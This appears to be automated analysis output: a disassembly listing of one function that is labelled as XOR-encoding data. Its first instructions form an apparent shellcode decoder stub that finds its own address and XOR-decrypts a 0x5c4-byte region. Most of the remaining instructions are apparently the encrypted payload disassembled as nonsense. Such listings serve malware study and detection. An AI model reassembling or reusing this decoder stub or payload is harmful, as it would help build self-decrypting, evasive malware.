Function at 0xddffa8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xddffb2
add byte [eax], al
add byte [eax], al
pushal
call 0xddffb8
pop ebp
sub ebp, 0x10
sub ebp, 0x9dffa8
mov al, byte [esp + 0x28]
cmp al, 1
je 0xddffdc
popal
xor eax, eax
inc eax
ret 0xc
jmp 0xddffe5
mov eax, 0x9dffa8
add eax, ebp
add eax, 0x63
popfd
add byte [ebx], al
lds eax, [ecx + 0x63c0]
add byte [ecx + 0x5c4], bh
arpl word [eax], ax
add byte [eax], al
mov ecx, 0x5c4
mov edx, 0xb897ca73
xor byte [eax], dl
inc eax
dec ecx
jne 0xddfffc
jmp 0xde000f
clc
mov esi, 0x734ffaf8
jae 0xde008a
mov dl, 0x8b
jae 0xde008f
jae 0xde008e
mov esi, 0x737374cb
jae 0xddffee
pop ebx
jae 0xde009b
jae 0xddffae
xchg ecx, eax
jo 0xddffe8
clc
bnd jg 0xde00a4
jae 0xde00a6
jo 0xddffeb
invalid
push edi
invalid
ja 0xde009a
sbb eax, dword [edi + 0x1b735169]
rcl dword [edi + 0x5f727308], 0x57
sbb edx, eax
neg byte [esi + 0x73769b29]
jae 0xde00cd
sahf
sub dword [ebx + 0x73737376], ebx
lcall 0x2726, 0x7373735b
clc
idiv byte [ebx + 0x73]
jae 0xde00db
jae 0xde0061
clc
out 0x7f, al
jae 0xde00e0
jae 0xde0067
invalid
ja 0xde00ff
jae 0xde0101
sbb eax, dword [edi + 0x1b735169]
xchg dword [ecx + 0x51], ebp
jae 0xde00af
rcl dword [edi + 0x5f727308], 0x57
push edi
and bl, byte [ebx + 0x73737376]
lcall 0x17fe, 0x73737134
push edi
invalid
jae 0xde0119
invalid
pop ds
push edi
jae 0xde003e
push es
jg 0xde0041
push es
jnp 0xde0053
add dword [ebx + 0x73], esi
jae 0xde00b5
into
jnp 0xde0133
jae 0xde0135
xor byte [edx], 0x2a
aam 0xf6
xor byte [edx], 0x2a
xor ch, byte [edx]
aam 0xf6
inc eax
test byte [eax - 0x46], 0x40
mov eax, dword [0x3b769bf0]
mov edx, 0x9bf0a140
jbe 0xde0111
jl 0xde00cf
cmp eax, 0x7c737373
jae 0xde0159
sti
cmp esi, dword [ebx + 0x73]
jae 0xde00f8
jae 0xde0155
adc eax, 0xf34a6ff8
mov byte [ebx + 0x7369f77c], bl
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0xde0162
mov byte [edx + 0x7362f77c], bl
jae 0xde016a
jae 0xde016b
jae 0xde010e
adc eax, 0x568c88f2
jl 0xde00f6
mov byte [esi + edx*2 + 0x7366f77c], cl
mul dword [esi + 0x73]
jae 0xde0175
jae 0xde0176
jae 0xde0136
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
dec edx
jb 0xde00fe
invalid
mov dl, 0x76
invalid
wait
ja 0xde00ae
into
mov word [esp + ecx*4 + 0x714a275a], cs
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
daa
dec edx
jno 0xde010d
mov dl, 0x75
invalid
lahf
and eax, 0x6f82624
and al, 0x26
clc
clc
push es
jg 0xde0130
push cs
jnp 0xde00ca
pop ecx
stc
sal ebx, 0xf9
jne 0xde0132
mov ch, 0x72
mov ch, 0x72
jb 0xde01b6
jae 0xde01b7
jae 0xde01b8
jae 0xde0141
sti
je 0xde013a
mov ah, 0x72
jae 0xde01bf
jae 0xde0116
jno 0xde01c3
jae 0xde01c5
jae 0xde01c4
jno 0xde00f5
mov eax, dword [0x7376f67c]
jl 0xde014c
div byte [esi + 0x73]
jbe 0xde01cb
jae 0xde01cd
jae 0xde0154
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0xde0151
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0xde015f
jbe 0xde01de
jae 0xde01df
jae 0xde01e0
jae 0xde0167
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0xde01ea
jae 0xde01eb
jae 0xde01b9
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0xde01f5
stc
xor eax, 0xf07ca161
pop ecx
jb 0xde01ff
jae 0xde01ff
mov eax, dword [0x7376f67c]
jae 0xde0208
stc
xor eax, 0xb360a161
jno 0xde013f
mov eax, dword [0xa171b360]
jl 0xde0196
jbe 0xde0215
jae 0xde0217
stc
xor eax, 0xb360a161
jno 0xde014e
jl 0xde01a5
jbe 0xde0224
jae 0xde0226
stc
xor eax, 0xb360a161
jno 0xde015d
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xde01b4
jbe 0xde0233
jae 0xde0234
jae 0xde0235
jae 0xde01bc
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0xde01c2
jne 0xde0240
jae 0xde0242
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0xde01d1
je 0xde020c
enter 0x7371, 0x73
jae 0xde0178
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0xde0259
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0xde0258
jae 0xde025a
jno 0xde018a
mov eax, dword [0x7376f67c]
jl 0xde01e1
div byte [esi + 0x73]
jbe 0xde0260
jae 0xde0262
stc
xor eax, 0xb360a161
jno 0xde0199
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xde01f0
jbe 0xde026f
jae 0xde0270
jae 0xde0271
jae 0xde01f8
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0xde0282
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0xde0281
jae 0xde0283
jae 0xde028d
jl 0xde0208
test byte [edi + 0x73], 0x73
inc edi
jae 0xde0288
jae 0xde01e1
jb 0xde028c
jae 0xde028e
jno 0xde01be
jl 0xde0215
jbe 0xde0294
jae 0xde0296
stc
xor eax, 0xba60a161
jno 0xde01cd
popal
mov eax, dword [0xa171ba60]
jl 0xde0224
jbe 0xde02a3
jae 0xde02a5
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0xde0248
mov word [ebx + edi - 0x6846c4e], cs
jne 0xde0286
clc
wait
retf 0x7372
jno 0xde01fb
mov eax, dword [0x7376f67c]
jl 0xde0252
jbe 0xde02d1
jae 0xde02d3
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0xde020a
jl 0xde0261
jbe 0xde02e0
jae 0xde02e2
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0xde02f3
jae 0xde0273
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0xde02fe
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0xde0300
jae 0xde02ff
jae 0xde027f
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0xde030a
jae 0xde030a
jae 0xde030b
jae 0xde028b
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0xde0316
jae 0xde0297
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0xde033c
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0xde0338
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0xde034d
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0xde0275
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0xde02dc
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0xde0360
sub al, 0x2d
lcall 0x1fd9, 0x73737377
jae 0xde02ce
pop ds
fst dword [edi - 0x11732435]
jae 0xde036e
mov dh, 0xf2
mov bl, 5
mov bl, 5
jo 0xde0377
jae 0xde02d0
ret 0x7371
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0xde02bb
cmp byte [edi - 0x21], 0x4c
xor eax, 0x40f7b540
ja 0xde0326
test dword [eax + 0x77], 0xcbcb6bfc
imul ecx, ebx, 0xffffffcb
retf
sti
dec ebx
retf
retf
dec edx
xor ebx, ecx
retf
retf
dec edi
pop es
xor al, 0x34
xor al, 0xad
inc eax
int3
and eax, edi
dec eax
sub eax, esp
dec edx
xor ecx, eax
retf